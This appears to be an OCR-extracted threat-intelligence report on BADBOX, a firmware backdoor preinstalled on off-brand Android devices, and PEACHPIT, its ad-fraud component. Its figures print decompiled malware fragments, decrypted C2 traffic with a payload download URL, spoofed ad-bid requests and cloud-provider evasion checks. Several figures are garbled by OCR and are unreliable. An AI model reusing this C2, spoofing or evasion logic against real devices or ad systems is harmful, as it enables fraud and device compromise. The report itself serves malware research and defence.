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BADBOX is a complex,
interconnected series of fraud
schemes, the scale of which is

virtually invisible from the surface.

—> As the classic story goes, the Trojan War ended
after the Greeks tricked the Trojans into wheeling a
large horse filled with soldiers into the gates of the
city, whereupon the warriors escaped the horse
and conquered the city. It became a metaphor for
a style of cyberattack in which a user is tricked into
downloading afile that, once opened, wreaks havoc
on the user's device.

The metaphor is particularly apt in the story of
HUMAN's Satori Threat Intelligence and Research

Team’s latest disruption, an operation we've named
BADBOX. BADBOX is a complex, interconnected
series of fraud schemes, the scale of which is
virtually invisible from the surface.

At its simplest, BADBOX is a global network of
consumer products with firmware backdoors
installed and sold through a normal hardware
supply chain. These backdoored devices find their
way into the homes and offices of unsuspecting
owners, whereupon they immediately connecttoa
command-and-control(C2)server for instructions
from the threat actors behind the scheme. Several
types of fraud come from the infected devices:

« Ad fraud (both through apps developed and
owned by the fraudsters, and through hidden

WebViews independent of any apps)

- Residential proxy services (using backdoored
devices as the exit points)

« Fake email and messaging accounts

« Remote un-permissioned code installation

The extent of BADBOXs spread and impact is
massive. HUMAN's Satori team observed at least
74,000 Android-based mobile phones, tablets,
and Connected TV boxes worldwide showing
signs of BADBOX infection.

Products known to contain the backdoor have been
found on public school networks throughout the
United States.

HUMAN customers have been protected from
PEACHPIT, the ad fraud component of the BADBOX
operation, for many months. Satori has shared
information about the threat actors with law
enforcement.

For a high-level overview of BADBOX and
PEACHPIT, visit our blog. What follows is a more
technical description of the operations.


https://www.humansecurity.com/company/satori-threat-intelligence
https://www.humansecurity.com/company/satori-threat-intelligence
https://www.humansecurity.com/company/satori-threat-intelligence/badbox
https://www.humansecurity.com/topics/what-is-ad-fraud
https://www.humansecurity.com/learn/blog/badbox-peachpit-and-the-fraudulent-device-in-your-delivery-box
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Executive Summary

HUMAN's Satori Threat Intelligence and Research Team has uncovered
a vast, complex, global cybercriminal operation we've named BADBOX.

A Chinese manufacturer (possibly many
manufacturers) builds a wide variety of Android-
including phones, tablets,
and CTV boxes. At some point between the
manufacturing of these products and their

delivery to resellers, physical retail stores and

based devices,

e-commerce warehouses, a firmware backdoor—
based on Triada malware—gets installed and the
product boxes are sealed in plastic, priming these
devices for fraud on arrival at their destination.

The Triada malware, first uncovered in 2016,
modifies a core process of the Android OS.
By doing so, Triada effectively installs itself
in every app on the device, including some
system functionality, like text messaging. For
example, researchers have described how the
trojan’s developers monetized the malware by
intercepting payment-related text messages and
changing the links to pay themselves instead.
Theroot access Triada gains makes it remarkably
powerful as a tool for cybercriminals.

Infected devices, once turned on, immediately
connect to one of several C2 servers. The
backdoor is used to inject additional modules
into device memory, enabling the threat actors to
extend their capabilities, perpetuate (and cover
the tracks of) several types of fraud, including
multiple varieties of ad fraud, the establishment
of residential proxy exit nodes, creation of fake
Gmail and WhatsApp accounts, and remote un-
permissioned code installation.

One of the modules deposited by the C2 servers
enables BADBOX-infected smartphones, tablets,
and CTV boxesto create WebViews fully hiddenfrom
the eyes of the owner. Those WebViews are used to
request, render, and click on ads, spoofing the ad
requests to look like theyre coming from certain
apps, referred by certain websites, and rendered
on certain models of smartphones, tablets, and
CTVs, none of which are true. This module is one
component of PEACHPIT, the ad fraud portion of
BADBOX. PEACHPIT may be the element of the
operation that pays for all of the others.
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An additional component of PEACHPIT, expanding beyond
the backdoor-based fraud, is a collection of 39 Android,
i0S, and CTV-centric apps, each of which contains a hard-
coded connection to a fake supply-side platform (SSP). The
ad returned by the SSP loads or injects a piece of JavaScript
code into a WebView within the app, spoofing details about
the smartphone, tablet, or CTV the app is running on before
calling foran ad.

PEACHPIT reached a peak of 121,000 infected Android
devices and 159,000 infected i0OS devices. These devices
accounted for an average of & billion ad requests a day.
No i0S devices were themselves impacted by the BADBOX
backdoor; they were targeted only by PEACHPIT apps
available for download from many major app marketplaces.

The residential proxy module of BADBOX transforms
each device into an endpoint for a global residential proxy
network. This allows the threat actors behind BADBOX to
sell access to your home (or work or coffee shop or library)
network, which in turn may result in cybercriminal activity
being traced to your door.

Threat actors can also use the backdoored devices to
create WhatsApp messaging accounts by stealing one-time
passwords from the devices. Additionally, threat actors can
use the devices to create Gmail accounts, evading typical bot
detection because the account looks like it was created from
a normal tablet or smartphone, by a real person. These may
be useful for a number of reasons, including as a database
of potential “developer” names with which to stage new
fake apps, as a list of accounts with which to sign up for
limited-access WhatsApp channels, or, if incorporating the
residential proxy capabilities, to stage cybercrimes that
would trace back to the owner of the device, rather than the
actual cybercriminals.

Finally, because of the backdoor’s connection to C2 servers
on BADBOX-infected smartphones, tablets, and CTV boxes,
new apps or code can be remotely installed by the threat
actors without the device owner's permission. The threat
actors behind BADBOX could develop entirely new schemes
and deploy them on BADBOX-infected devices without any
interaction from the devices owners.

As of this writing, PEACHPIT has been disrupted. Traffic
associated with the ad fraud schemes has slowed to less
than 1% of its peak following countermeasures deployed by
HUMAN. The remainder of BADBOX should be considered
dormant: the C2 servers powering the BADBOX firmware
backdoor infection have been taken down by the threat
actors. It's likely the threat actors are adapting their attack
in an attempt to circumvent the defenses HUMAN and other
organizations have deployed. HUMAN customers have been
protected from the impacts of PEACHPIT since their
discovery. HUMAN's Satori team will continue to monitor
BADBOX and PEACHPIT for adaptation.

Unfortunately, BADBOX-infected devices are unsalvageable
by an average user. Since the malware is located on a read-
only (ROM) partition of the device firmware, the average
user won't be able to remove BADBOX from their product.
As BADBOX affects almost entirely lower-price-point, “off-
brand” devices, the Satori team recommends that users stick
to familiar brands when choosing new devices.
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https://www.kaspersky.co.uk/blog/triada-trojan/6858/
https://www.kaspersky.co.uk/blog/triada-trojan/6858/
https://github.com/DesktopECHO/T95-H616-Malware/commit/10a64418256abe04587dcd650ac061b32461c54c
https://github.com/DesktopECHO/T95-H616-Malware/commit/10a64418256abe04587dcd650ac061b32461c54c
https://www.youtube.com/watch?v=1vpepaQ-VQQ
https://www.youtube.com/watch?v=1vpepaQ-VQQ
https://www.malwarebytes.com/blog/news/2023/01/preinstalled-malware-infested-t95-tv-box-from-amazon
https://www.malwarebytes.com/blog/news/2023/01/preinstalled-malware-infested-t95-tv-box-from-amazon
https://www.malwarebytes.com/blog/news/2020/01/united-states-government-funded-phones-come-pre-installed-with-unremovable-malware
https://www.malwarebytes.com/blog/news/2020/01/united-states-government-funded-phones-come-pre-installed-with-unremovable-malware
https://www.malwarebytes.com/blog/news/2020/01/united-states-government-funded-phones-come-pre-installed-with-unremovable-malware
https://www.eff.org/deeplinks/2023/05/android-tv-boxes-sold-amazon-come-pre-loaded-malware
https://www.trendmicro.com/en_us/research/23/e/lemon-group-cybercriminal-businesses-built-on-preinfected-devices.html
https://www.trendmicro.com/en_us/research/23/e/lemon-group-cybercriminal-businesses-built-on-preinfected-devices.html
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About This Research

—> In the spirit of the story of the Trojan Horse,
we'll examine BADBOX from two primary angles:
the horses and the warriors.

We'll begin with the horses: the devices, the
backdoors built into those devices, and the
marketplaces on which these infected devices
were and are available.

Then we'll look at the warriors: the various fraud
schemes infected devices are capable of.
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The Horses

—> Any examination of the vast BADBOX
operation must, necessarily, begin with the
boxes for which it's named. At least 74,000
individual products in 227 countries and
territories have exhibited signs of infection.

Building the Horses

In mid-2022, HUMAN's Satori Threat Intelligence
and Research Team (which includes security
researchers, reverse engineers, data scientists,
and developers of fraud detection methods for the
Human Defense Platform) examined an Android
app with a spoofed and malformed user-agent
that appeared to be passing invalid advertising
traffic. During the course of this analysis,
researchers unearthed several related apps,
each of which was corresponding with a server
with the domain flyermobi[.]Jcom. This wasn't
an expected behavior, and the Satori team began
researching the domain and its connections to
the apps.

Soon thereafter, a security researcher named
Daniel Milisic posted on Reddit and other forums

about aset-top product he had purchased called
a T95 box. The device offers smart TV features,
including a single interface from which a user
can watch streaming content. Milisic used a
Raspberry Pi to observe behavior of the T95 and
found that it was connecting to flyermobi.

p
Google Play

Figure 1: T95 user interface
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The Satori team also purchased a T95 device and
confirmed Milisic’s findings while corroborating
our own suspicions about flyermobi: the T95
device was compromised right out of the box.

Importantly, the T35 looks and behaves like a
straightforward TV streaming device. It has to; if it
failed to do what it's sold to do, few people would
use them and the scheme would fall flat quickly.
These are off-brand devices, meaning any entity
can place an order for these and add their own
firmware before selling themviawhateverresellers,
distributors, or retailers they have access to.

Figure 2: T95 Android TV box

Having a T95 box in hand made it possible for
Satori researchers to begin reverse-engineering
the communications going to and from the device.

Android security patch level
December 5, 2019

Baseband version
Unknown

Kernel version

4,9.170
#1 Tue Aug 9 10:33:05 CST 2022

Figure 3: T95 0S information
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Figure 4: Other off-brand, BADBOX-infected devices purchased by HUMAN's Satori Threat Intelligence and Research Team

corejava and libandroid

Much has been written already about corejava,
an Android directory at the heart of the backdoor
underpinning the BADBOX operation. In the
interest of brevity, we'll recap briefly how the
backdoor worked and encourage researchers
interested in a deeper dive to review the reports
published by the security researchers who've
explored T95 device infections in the recent
past. These reports are linked above in the
section labeled "Acknowledgements”.

In order to determine how the corejava directory
was created and populated, the Satori team
examined artifacts left in the device’s memory
and found libandroid_runtime.so. This library—a
core component of Android OS programming—
is loaded into virtually every process on an
uninfected Android device. In the case of
BADBOX, libandroid_runtime.so was modified to
contain additional, malicious functionality:

L L LT LA P T P P )

uStack120 = 8x7300000062; e

local_80 = x7EQ0000005; f nn

_ ptr = (void *)Cutecode("kcuesmcmckBnbwyMmb™ " s", {int *)&local_92); Eﬁ';’“ oo

IVar2 = (aek(code #k)(*(long *)param_1 + 0x30))(param_1, ptr); § oob

if (1War?2 = @) { f ooxxo
hlimedD — Ffalcanl f ooxxoo

Figure 5: libandroid_runtime.so functions and instructions


https://github.com/DesktopECHO/T95-H616-Malware/commit/10a64418256abe04587dcd650ac061b32461c54c
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. HI
com.jar ([Ljava/nio/ByteBuffer;Ljava/lang/ClassLoader;[Ldalvik/system/Dexh

When the Satoriteamdecrypted functionswithin

[ ‘'nio/ByteBuffer;
the libandroid_runtime.so library mentioned alvik/system/DexFile
loadClass
(Ljava/lang/String;Ljava/lang/ClassLoader; )Ljava/lang/Class;
com. jar.coreloader.CoreClassLoader

above, they found this:

jav ang/ClassLoader

Note the com.jar APK referenced in the code Ty
snippet (Figure 6). That's the library that, when 1:;?;;;”‘“ R ymendon g
further decrypted (as seen Figure 7), contacts a dalvik/system/DexFile
loadClass
command-and-control server. (Ljava/lang/String;Ljava/lang/ClassLoader;)Ljava/lang/Class
com. jar.coreloader.CoreClassLoader
The T95 device examined by the Satori team, Figure 6: Output of a script which decrypts Cutecode strings
upon booting up, immediately injected the com.
jar Hbr’ary into prOCeSS memory and Connected e \xdb\x4a\x57\x25\x1f\x1c\x1a\x2 FAxe@\ xd8\x65\x12\
\x6d\xd4\xe2\xe f\x74\xa9\xc2\x5F\xbb\xba\x2d\x2f\
with a C2 server (one of several) for additional P e s i e el
AXT2\x2 FAx2F\x2 FAx93\x4b\x2 f\x2f\x17\x0a\x2d\x2f\
instructions. \xe2\xBb\x2e\x2f\xfe\xBb\X2e\x2F\xT8\xBB\x2e\x2T\
XOR \x3d\x8a\x2e\x2f\x38\x8a\x2e\x2f\x31\x8a\x2e\x2f\
;? HEX ~ Output #-

T
Scheme Lcom/jar/d/c;..Lcom/jar/d/d$1;..Lecom/jar/d/dsasl;
Standard [J Null preserving Leon/jar/d/d; .
Lcom/jar/d/e;..Lcom/jar/data/ApkInfoProsl;..Lcom/
/PluginConfig$1l;..Lcom/jar/data/PluginConfig;..Lc
Lcom/jar/e/a;.
Lcom/jar/e/b;..Lcom/jar/e/c$a;.
Lcom/jar/e/c;.
Leom/jar/e/d;.
Leom/jar/e/e;..Lcom/jar/e/f$a;..Lcom/jar/e/f$b;.

Figure 7: Decrypted contents showing the com.jar library

Request: http://cbphe.com:8@/terminal/client/register
Input: wplhVEOhLgHKBI®xRu8d13mPJHtBR5PHdZ9m/DUiSWuYjhBX6G+dAs/FI3VvGkOgpzc/SM7WYKL11g3jpbQqmQ9CuvLX@v3DSmjOHOn@ivaWr3XpHmVSGYY= ; key: T10901

Output: {"data": [ { "registerstatus": "4@@","intervaltime": "30"}]}

Request: http://cbphe.com:80/terminal/client/apiInfo
Input: 3mg3CRiuFHQ9jzXFoylFDrJxLyXPAM8a9bw+x5fmx0qggYVM/IB1YtS1taUPIkjfISVAGhSojyQcZExemFCkc4xZHxznz54zhul@yiBLqcji43jhFpCclTTEYBFccKTVLI9qQLWO

j4Hkr13H1QLXUBBaUaW13dbzaR1sk fK6xkXPZttt0Bz r4zUNHoyXAHMS5tkvIgbNhUQc6JQnBoL83vOuVwVA18p5DPAFY6hzLg3mPr3jkFJY@GLoyKwFgjtb9UEKITXDk90IZXEPI0oSculOAa
mhoa4jp/gl8fwajumgAdmh jxvu6faQBnM1kZwYpVpunU7 fIb+CfNy5tYm58RILVUPnKBfFV25Rjmo7 imbhXdNTDDJ@OkW2s6/oUcfKy]SuwG3AoU1gLNMmayZQrY2TDLHokaUxcNKS8IcDwS
+i5diHd@1mqHjKQPIE54@msv@6aFv75hhtxPt82WGwdvilQTq4xN2bQRFUSGKQHKNSXu79EPGPMTISNLT iHxU/ACOH1]2d7UjgNxPRCbdBGjgIbQc5X8kIxYsXRGQ 7 j jWKQsmotFKIdXrc
Output: {"data":"[{\"errno\":\"@\",\"strategy\":{\"close\":\"@\",\"debug\":\"@\",\"nexturl\":\"http://cbphe.com/terminal/client/apiInfo\",\"nex
\"closeTo\":\"@\",\"checkSecurityMode\" :\"@\",\"clear\":\"O\",\"ipProxy\" :\"o\"},\" List\": [{\"1d\" :\"254\", \"vc\" :\"0O\", \"status\":\"Q\",

\"md5\":\"799dcdcec8aeb29aa2cc48f27a3fc8@6\", \"url\":\"http://cbpheback.com//uploads/apk/2022122310471661026_en.zip\",\"vc_switch\":\"false\",\

Figure 8: Decrypted contents of the two initial request to cbphe[.]Jcom
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Those initial instructions included a ZIP file
which, when unzipped and decrypted, includes
two more files of concern: classes.png and
config.make.

classes.png, the filename of which suggests an
image file, isactuallyan encryptedfile that, when
decrypted, turns into classes.dex. (If classes.
dex is deleted from memory, it's immediately
restored, underscoring the persistence of the
threat.)

config.make is another encrypted file that,
when decrypted with an XOR key, is a list of
launcher processes that correspond to some
BADBOX-infectable device models, suggesting
a list of device models for which the malware
is compatible. Note com.swe.dgbluancher,
which corresponds to the T95 device under
examination by Satori (Figure 11).

"task": [
{
"pname’ box",
“"vesion":["11"],
"targetProc": [

:"com.android. soplugin.GRPlug",
e g
}

1, "share":@

Figure 11: Decrypted contents of config.make

Trojans All the Way Down: BADBOX and PEACHPIT

1E?|walleye:f ata/system/Corejava # 1s -lsa

system system
system system
system system
system system

8f27a3fc806
Corejava # 11 nod
system system 3670 2
ata/system/Corejava # 11 node/799dc

system system 4896 2023-81-11 17:

system system
system system 7793
system system 77934
system system |

Figure 10: syscall monitoring of servicemanager

launch"],

2O .
T,

6 classes.dex
17 classes.png
17 config.make
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The classes.dex file created by the decryption of classes.png is injected into the above launcher

process, which kicks off the second stage of the injection by loading a collection of packages that

facilitate much of the fraudulent activity that follows:

« a.a.a.a- Tracks IP Geolocation and updates
proxy server settings accordingly

- com.jar - Main entry point, responsible for
connecting with cbphe[.]com

« co.fm.ub

« com.ohmy - Creates WebView to load ads and
perform automatic clicks.

- com.asshow.asshow - Main package
responsible for connecting and coordinating
with flyermobil . Jcom, found in other
applications

Filling the Horses

All of the subsequent communications to the C2 go
toasecondC2serverfromtheonethatthebackdoor
contacts at bootup. The new server coordinates
the fraudulent activities and periodically updates
the malware version on the device.

Here’'s what the entire startup process looks
like, preparing a BADBOX-infected device for
fraudulent activity. Recall that these products
come pre-installed with the backdoor, and this
process occurs on first boot (Figure 13).

« com.debby - Connects with proxy server via
socket. Receives a new address from the proxy
and uploads device information to it
com.liberty.lib - sideloads dex or jar files
obtained from peonyfast[.]Jcom

« com.unia.y - Connects with pro[ . Jgazwsxedc][.]

xyz/proxy in order to receive new addresses
to communicate via socket and tasks to be
redirected to these connections.

“request": {
"

"httpVersion
“cookies": [1,
"headers": [

Figure 12: Request to cbpheback(. Jcom

Device Boot

libandroid_runtime.so gets loaded
into processes

Check current PID and NOT oK n ]
Exit
deploy status

0K

com.jar stager is decrypted & dropped
in the file system

Any updates ?

‘ Communication with C2

‘ Encrypted payload is downloaded ’

l

Modules get loaded into the launcher’s| classes.dex s created & decrypted
process memory

Figure 13: High level diagram of the startup process
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Approaching the Gates

The Satori team found evidence of at least 200
distinct Android device types—mobile phones,
tablets, and CTV products—that have shown
signs of BADBOX infection as of the time of
publishing. It's impossible to estimate how many
individual devices may be infected, as many
device types were unavailable for testing by the
Satori team, and as devices need to connect
to the C2 servers and begin passing fraudulent
traffic before they can be detected by the Human
Defense Platform.

BADBOX-infected products have made their
way into numerous unsuspecting hands. Many
of these devices were—and are—available at
resellers, physical retail stores and e-commerce
warehouses. Satori is actively working with
certain stores and e-commerce sites to attempt
to take BADBOX-infected models off the market
and slow or stop the spread of BADBOX.

It's impossible to estimate
how many individual
devices may be infected

Inthe course of thisinvestigation, the Satoriteam
found evidence indicating some smartphones
manufactured for the US government’s Lifeline
program (designed to help lower-income
Americans acquire mobile phones) participated
in PEACHPIT, the ad fraud component of
BADBOX.


https://www.fcc.gov/general/lifeline-program-low-income-consumers
https://www.fcc.gov/general/lifeline-program-low-income-consumers

15 | THE WARRIORS Trojans All the Way Down: BADBOX and PEACHPIT

The Warriors

—> In our Trojan Horse metaphor, the horse has been built and wheeled
inside the gates of the city, and now all that remains is for the warriors
inside to spill out and wreak havoc. The Satori team withessed BADBOX-
infected devices committing several varieties of cybercrime, including:

77
= ) %

Ad Fraud Residential Proxy Services Fake Accounts Remote Code Installation
Both through apps Using backdoored devices Fake email and messaging Updating fraud modules
developed and owned as the exit points accounts remotely and without

by the fraudsters, and permission

through hidden WebViews

independent of any apps

We'll explore each of these in turn, starting with the ad fraud “modules”.
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Advertising Fraud: PEACHPIT

PEACHPIT is the code name given to the
advertising fraud modules uncovered by Satori
team researchers. In the simplest possible
terms, PEACHPIT is an operation carrying out
hidden advertisements, spoofed web traffic, and
malvertising, both on/through i0S and Android
apps published to major app marketplaces and on
apps automatically downloaded to backdoored
BADBOX devices. The marketplace-based apps do
not require the BADBOX backdoor to be present on
a device to successfully carry out fraud.

PEACHPIT app publishers staged apps on
Google's Play Store, Apple’s App Store, and onone
CTV provider’s channel store. The Satori team
found 20 Android apps, 16 i0S apps, and 3 CTV
channels connected directly to PEACHPIT. The
mechanism of fraud differs between them—for
instance, Satori researchers found no evidence
of iOS devices that had been backdoored.

PEACHPIT impacted 121,000 Android devices
at the operation’s peak, some of which may also
have been backdoored by BADBOX. PEACHPIT also
impacted a peak of 159,000 iOS devices, strictly
through download of the apps associated with the
scheme. HUMAN observed PEACHPIT-associated
traffic from 227 countries and territories. HUMAN
customers have been protected from the impacts
of PEACHPIT —both the marketplace-based apps

package com.workout.workoutlib;

import android.content.Context;
import android.util.AttributeSet;
import android.util.Log;

import android.widget.RelativelLayout;

import com.workout.workoutlib.mraid.MRAIDView;

import p@@7b.pl79m.pl80a.AdxAdListener;

and the automatically-downloaded apps— since its
discovery.

The Satori team's evidence suggests the
PEACHPIT threat actors are distinct from the
BADBOX threat actors, yet likely working together
in some way. Satori has identified several
specific app publishers believed to be behind
the PEACHPIT scheme, and while this report will
not identify them in the interest of continued
research, their information has been passed along
to law enforcement.

PEACHPIT: Marketplace-Based Apps

PEACHPIT apps vary slightly in their fraud
mechanisms. We'll begin with one specific app—
sixpack.sixpackabs.absworkout.abexercises.
tv—to examine how the fraud takes place and
how it appears to an unsuspecting user. This app
is roughly representative of Android PEACHPIT

apps.

The SixPackapplication declares Google’'s AdMob
as its only advertising SDK, but it's not actually
used in the operation of the app. That AdMob
SDK, however, gives the SixPack application a
library that manages the way ads are rendered
on the device (Figure 14).

import p@@7b.pl79m.pl8@a.pla3k.MRAIDNativeFeatureListener;

import p@@7b.pl79m.pl80a.pla3k.MRAIDViewListener;

/+ loaded from:

/Home Workout/classesl6h.dex */

public class AdxBannerView extends Relativelayout implements MRAIDViewListener {

public AdxBannerView(Context context) {
super{context});

b

Figure 14: Imported library
managing ad rendering
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The app hardcodes a fake supply-side platform (SSP)—ads.go-workout com—for all ad calls. Notice “/sspbidder”in the URL
in the screenshot below.

F
} else {
StringBuilder m5613i = outline.m5613i("https://ads.go-workout.com/sspbidder?cid=");
m56131i. append(c3107g.f12025b);
m56131. append ("&ss=1&xrw=");
m56131i. append(c3107g.f12026¢.getPackageName() };
adxLoader. f13626d.execute(new p@@87b.pl79m.pl8@a.p181i.AdxLoader(adxloader, m5613i.toString(), new (3105f(c3187g)));
} Figure 15: Hard-coded SSP

AdXLoader, another SDK, gathers information on the device's location and user-agent (an identifier that's a combination of
browser version, OS version, and device version)to report back to the fake SSP:

public void run(} {
try {
String string = C3123f.m785a(this.f12033¢c.f13625¢c).f12079%a.getString("ads_ipinfo_key", "");
long j = C3123f.m785a(this.f120833c. f13625c).f12879%a.getlong("ads_ipinfo_tskey", OL);
long currentTimeMillis = System.currentTimeMillis();
if (Math.abs(currentTimeMillis — j)} < 600000 && !TextUtils.isEmpty(string)) {
com.workout.workoutlib.adx.AdxLoader.m137a(this.f12833¢, this.f12031a, this.f12032b, string);
} else {
String m797d = PlayRecordManager.m797d("http://ipinfo.io/json"”, null);
if (!TextUtils.isEmpty(m797d)) {
C3123f.m785a(this. f12033c. f13625¢c).f1207%a.edit().putString("ads_ipinfo_key", m797d).apply();
C3123f.m785a(this. f12@33c. f13625¢c) . f1207%a.edit().putLlong("ads_ipinfo_tskey", currentTimeMillis).apply();
com.workout.workoutlib.adx. AdxLoader.m137a(this. f12033¢c, this.f12031a, this.f12032b, m797d);
¥

} catch (Exception e) { . .
Log.e("com_workout_adxlib", e.toString()); Figure 16: Information on
device collected

AdXLoader runs checks on information collected from the device, including IP address and Autonomous System Number (ASN,
aninternet traffic routing tool). If the checks on this information suggest the device belongs to any one of four major cloud service
providers’ data centers, ads won't render. This is presumably a mechanism intended to help prevent detection of PEACHPIT.

1goto_4a2
new-instance v9, Ljava/util/HashSet;

invoke-direct {v9}, Ljava/util/HashSet;—><init>()V
const=string v1@, "google"

.line 10
invoke-virtual {v3, v1@}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z

- . line 15
t-string v1e, " i 3 : 7 4
consi-string vid, “amazon invoke-virtual {v7}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
«line 11

5 = . P - lt-object v1d4
invoke-virtual {v9, v1@}, Ljava/uti move-result-object v

const-string v1@, "digitalocean” invoke-virtual {v14, w13}, Ljava/lang/5tring;—>contains(Ljava/lang/CharSequence;)Z

.line 12 move-result v13

invoke-virtual {v9, vi@ Lj ti

nvoke-virtual {v9, v10}, Ljava/uti {Foenz vid, aconiies
t-string vie, "ali o )

const-string vi@, "alibaba e

goto :goto_62

:cond_7a
if-eqz v12, :cond_Ve :C(}nd_z?ﬁ
goto/16 :goto_276 :goto_276 Figure 17: Cloud provider

turn-voi
return=void check
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The location of the traffic also impacts whether ads render. In one example, changing the traffic from US-based to

Bulgaria-based made a difference:

Response
Pretty Raw Hex Render

1 HTTP/1.8 208 0K

2 access=control-allow-origin: *

3 x-content-type-options: nosniff

4 content-type: application/json; charset=utf-8

5 date: Mon, 14 Nov 2822 16:55:34 GMT

6 x—envoy-upstream-service-time: 2

7 strict-transport-security: max-age=2592000; includeSubDomains
8 vary: Accept-Encoding

9 Via: 1.1 google

10 Connection: close

11

12 {

13 "ip": "54.173.82.167",

14 "hostname": "ec2-54-173-82-167.compute-1.amazonaws.com",
15 "city": "Ashburn",

16 "region": "Virginia",

17 "country": "us",

18 "loc": "39.0437,-77.4875",

19 "org": "AS14618 Amazon.com, Inc.",
20 "postal": "20147",

21 “"timezone": "America/New_York",
22 “"readme": “https://ipinfo.io/missingauth”
22 1

Figure 18: Side by side comparison of output from ipinfo[. Jio

Response
Pretty Raw Hex Render

1 HTTP/1.0 200 OK

2 access-control-allow-origin: =

3 x-content-type-options: nosniff

4 content-type: application/json; charset=utf-8

5 date: Mon, 14 Nov 2822 17:48:43 GMT

6 x-envoy-upstream-service-time: 2

7 strict-transport-security: max-age=2592000; includeSubDomains
8 vary: Accept-Encoding

9 Via: 1.1 google

12 Connection: close

12 {

13 "ip": "217.138.221.247",

14 "city": "Sofia",

15 "region": “Sofia-Capital",

16 “country": "BG",

17 "loc": "42.6975,23.3241",

18 "org": "AS9009 M247 Europe SRL",
19  “"postal": "1leae",

20 "timezone": "Europe/Sofia",
21 “"readme": "https://ipinfo.io/missingauth”
22 '}

Note also the “org” field in the screenshot on the right. The information in that field doesn’t correspond with one of the four major
cloud service providers the threat actors actively prohibit from ad rendering.
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When the Satori team
advertisement:

Request

Pretty Raw Hex

1

N

aw

Swouan

=

POST /sspbidder?cid=1247&ss=1axrw=
sixpack.sixpackabs.absworkout .abexe
reises.tv HTTP/1.1

Content-Type: application/json;
utf-g

Accept: application/json
User-Agent: Mozilla/5.0 (Linux;
Android 11.1; TV
BOX/QP1AR.191105.004; wv)
AppleWebKit/537.36 (KHIML, like
Gecko) Version/4.0
Chrome/7.4.0.3729.186 Safari/537.36
Host: ads.go-workout.com
Connection: close

Accept-Encoding: gzip, deflate
Content-Length: 472

"device":{
"carrier":
“AS262287 Latitude.sh LTDA",

"lon":-46.6695

}e
"1;" "177.54.149.102",

"Mozilla/5.0 (Linux; Android 11
.1; TV BOX/QP1AA.191105.004; wv
) AppleWebKit/537.36 (KHTML, 1
ike Gecko) Version/4.0 Chrome/7
.4.0.3729.186 safari/537.36",
"connectiontype”:2,
"devicetype":4,

"cheBSOe 2deb-4420-9a5¢c-6d4775
58cad4",

"ie"s1
"language 1"pt

Request
Pretty  Raw  Hex B wn =

1

~

-

Swmaon

POST /sspbidder?cid=1247&ss=1&xrw=

sixpack.sixpackabs.absworkout.abexe
rcises.tv HTTP/1.1

Content-Type: application/json;
utf-8

Accept: application/json
User-Agent: Mozilla/5.0 (Linux;
Android 11.1; TV

BOX/QP1AA. 191]05 004; wv)
AppleWebKit/537.36 (KHTIIL, like
Gecko) Version/4.0
Chrome/7.4.0.3729.186 safari/537.36
Host: ads.go-workout.com
Connection: close

Accept-Encoding: gzip, deflate
Content-Length: 472

{
“device":{
"carrier”:
"AS262287 Latitude.sh LTDA",

ua":

"Mozilla/5.0 (Linux; Android 11
-1; TV BOX/QPlAA.191105.004; wv
) AppleWebKit/537.36 (KHTML, 1
ike Gecko) Version/4.0 Chrome/7
4.0.3729.186 Safari/s37.36",
onnectiontype”:2,

evlcetype" 14,

"dn '0,

fa
"c2d=9502-2deb 4420-9a5c-6d4775
Sscadﬂl”

i 1anguage "arpt"

Pretty Raw Hex Render

represented web traffic as coming from a CTV device based in Brazil, PEACHPIT rendered a full

Response

Pretty ~ Raw  Hex  Hender 8w =

1 HTTP/1.1 200 OK
2 Server: nginx/1.10.2
3 Date: Sun, 27 Nov 2022 23:
4 Content-' 3 apphcatxnn/;aan‘ charset=UTF-8
5 Content-Length: 8844
6 Connection: close
3
8
9
0

Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun Nov 27 23: 2022
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache

"uUsD
) 982045716732809816"
15 "seatbid":[
16 {
17 "bid":[
18 {
19 “adm"
”<html><hedy style=\"margin: Opx; padding. Opx\"><div id='content' style='width:300px; height:250px'><
D: 590634163242430692 --><div id='beac
fwin/ 7p=0. 20000&
UGOCR jMmR 1 LTouM)Atowglyyu2an3Nzu1octhDQALvaAgAc?QIAHBUCAAAcJuzwzognﬁoqvacbqlqs 2GGK 6T BCUEFQKmkAMWKAMKAMWKAMWKA
MWkAHHkAMquHRHEHEFcCx1q577IOtkhh[srxZ5—KkiéUBAAAWhthqAQprnEq;QW VEAkWOH-vXAkw]' mngALCerEzNSSthblmARthaau
0YL—~ QW -V RAkWOW vakaYE]USHDYzNDEZHzIﬂH]QzHDYSHhaqplqungBBY"“ Njas1 i ANwbAo
gYTUfokVFXUQQVElNSVpFUlBEUFBMSUVEBHRdeUETUxfRkUFxﬂDQVEINSVpFUlﬂJTlNUOUSDRVSUHVBFEWQUaGVyAKwTthodﬂRwOL8VYWFALXVZLWVhC3QuYW1hemﬂuLWPchlszVt
LmNvb§911.212Lzhk¥22 j ZGUXOWZ i 2GUzNDg OMDVMN2 YwMTg4MTN  ZmQ4L.2 1£cGT_Y j 1KTVFRRmdwCUF xWWVpLTC5c2gzdF 11a0FBQUAFdTFScEhRRUFBQVVKQVVFemN TaGZkSGh 1WDIKCF
PERWAJIQOJPTDEFZ01DOWAIQOFNSUNBZ01DQ) Z3aTVEInc 9 JHEBVUNUSUIOX 1 BSSUNFOK9YQ1JZUFRIIMIPPTV | %202Qn2 t M2 JGT2 1 5TONLYT1 PZHBja0J0MZF 3 2 DNANMF 1b3BXb2Zt 031U
VUYwaGESMZMSaqudvn1LnF1hvz2EGEDYUtovnZVQZFvTTNvastngRJJlszln:nzuZUyTUpuzkzomnxchcSUWJcrx1pbm95cw3423UXSNIJTTEzzHivLUchE10315N1nz2cTBJwF
QuNGIQb3TtcCO4bmP10! MCliaz Mn1BM BOAWITSGSKYWI tWFFUR0 1kdGp2YnBz0TdYQng2 TE5qORT0aF TweH1VMDFuT1hWSHdic11vOG10bEF
UzJxT]FNTHhGZWFYVzVﬁHWYlTleTXg3NjJGTGtSSIJZRVFEckZHYjIxtdeTdeHEYBNmZ3ekaN1ExelFqRTd3N1FSLkFySUV1YzVuLXhFWmludTBqRFFSEGol:jdzaGpwUFAdcmpZHB
JIMURJ%2VqdXTHbER1AGLYTTOWEFOY JFZSMVMT1pPSEXQUME P U0940HIIL THLESm4 1cX1TU3BUMLY: P
